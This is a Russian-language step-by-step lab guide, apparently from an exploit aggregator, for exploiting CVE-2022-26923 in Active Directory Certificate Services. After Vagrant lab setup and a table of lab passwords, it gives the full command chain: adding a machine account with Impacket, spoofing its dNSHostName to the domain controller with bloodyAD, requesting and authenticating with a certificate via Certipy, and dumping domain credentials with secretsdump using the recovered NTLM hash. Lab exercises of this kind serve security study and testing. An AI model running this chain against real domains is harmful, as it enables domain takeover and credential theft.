## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RAYNGNPC-CVE-2022-26923-RAYNG
# Эксплуатация CVE-2022-26923: повышение привилегий в службе сертификации
## Обзор
CVE-2022-26923 — это уязвимость в службах сертификации Active Directory (AD CS), которая позволяет злоумышленнику повышать привилегии, злоупотребляя аутентификацией на основе сертификатов. В этом руководстве описаны шаги по эксплуатации данной уязвимости с помощью Impacket и Certipy.
* * *
## Таблица учётных данных
Виртуальная машина| Имя пользователя| Пароль
---|---|---
Windows Server| Administrator| !@windowsadmintest101
Windows Server| testuser| $Vulnerable139
Kali-Linux VM| vagrant| vagrant
* * *
## Шаг 1: Клонирование репозитория и настройка виртуальных машин
Сначала клонируйте репозиторий, содержащий необходимые файлы:
root@kitploit:~
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
### Настройка виртуальных машин
Репозиторий содержит две папки, в каждой из которых есть `Vagrantfile` для развёртывания виртуальных машин. Перед продолжением необходимо установить **Vagrant** на хост-машину.
#### **Установка Vagrant**
##### **Для Windows**
Скачайте и установите Vagrant отсюда. Или установите с помощью PowerShell:
root@kitploit:~
choco install vagrant
##### **Для Linux**
root@kitploit:~
sudo apt update && sudo apt install vagrant -y
#### **Виртуальная машина Windows Server 2022**
Перейдите в каталог `WindowsServer2022`:
root@kitploit:~
cd WindowsServer2022
vagrant up
Это загрузит и настроит виртуальную машину Windows Server 2022 в VirtualBox.
#### **Виртуальная машина Kali Linux**
Перейдите в каталог `Kali-LinuxVM`:
root@kitploit:~
cd Kali-LinuxVM
vagrant up
* * *
## Шаг 2: Настройка виртуальной сети
Поскольку для эксплуатации требуется NAT-сеть, настройте VirtualBox следующим образом:
### **В Windows**
Перед выполнением приведённой ниже команды убедитесь, что `VBoxManage` добавлен в переменные окружения. Если нет, выполните команду, указав её полный путь:
#### **Добавление NAT-сети**
root@kitploit:~
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Если `VBoxManage` не распознан, используйте:
root@kitploit:~
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
### **В Linux**
root@kitploit:~
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Проверьте обе VM в VirtualBox и убедитесь, что они назначены на сетевой адаптер NatNetwork - NatNet1.
Вы можете создать NAT-сеть с другим именем, но она должна находиться в диапазоне IP-адресов 10.0.2.0/24.
* * *
## Шаг 3: Изменение файла hosts
Перед продолжением убедитесь, что **Windows Server 2022** и **Kali Linux VM** включены.
Войдите в виртуальную машину Kali Linux, чтобы начать атаку.
Обновите файл `/etc/hosts`, чтобы сопоставить IP-адрес контроллера домена:
root@kitploit:~
sudo nano /etc/hosts
Добавьте следующую запись:
root@kitploit:~
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Сохраните изменения и выйдите.
* * *
## Шаг 4: Настройка окружения
Перейдите в каталог `CVE-26923` и активируйте виртуальное окружение Python:
root@kitploit:~
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
* * *
## Шаг 5: Добавление компьютера в домен
С помощью утилиты `addcomputer` из Impacket:
root@kitploit:~
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
* * *
## Шаг 6: Назначение PCTEST1 контроллером домена
### **Способ 1: через SSH** (если OpenSSH установлен на целевом сервере)
root@kitploit:~
ssh some-email@example.com
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
### **Способ 2: без SSH** (с использованием Impacket и BloodyAD)
Проверьте компьютеры домена:
root@kitploit:~
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Перейдите в каталог `bloodyAD` и используйте `bloodyAD.py`, чтобы добавить `PCTEST1` в домен:
root@kitploit:~
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Проверьте, что `PCTEST1` был добавлен в домен:
root@kitploit:~
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
* * *
## Шаг 7: Процесс эксплуатации
### **Поиск уязвимых сертификатов**
Используйте Certipy для поиска уязвимых сертификатов:
root@kitploit:~
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
### **Запрос сертификата**
Запросите машинный сертификат с помощью Certipy:
root@kitploit:~
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
### **Аутентификация с помощью сертификата**
Аутентифицируйтесь с помощью полученного сертификата:
root@kitploit:~
certipy auth -pfx server2022.pfx
* * *
## Шаг 8: Извлечение NTLM-хешей
После выполнения команды `certipy auth` будут отображены два хеша. Хеш, расположенный справа, будет использоваться для NTLM-аутентификации.
Пример вывода хеша:
root@kitploit:~
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Используйте извлечённый NTLM-хеш для дампа учётных данных:
root@kitploit:~
impacket-secretsdump 'some-email@example.com' -hashes :69079fd4946af567d682d61e121f29e7
* * *
На этом полная цепочка атак для эксплуатации CVE-2022-26923 завершена.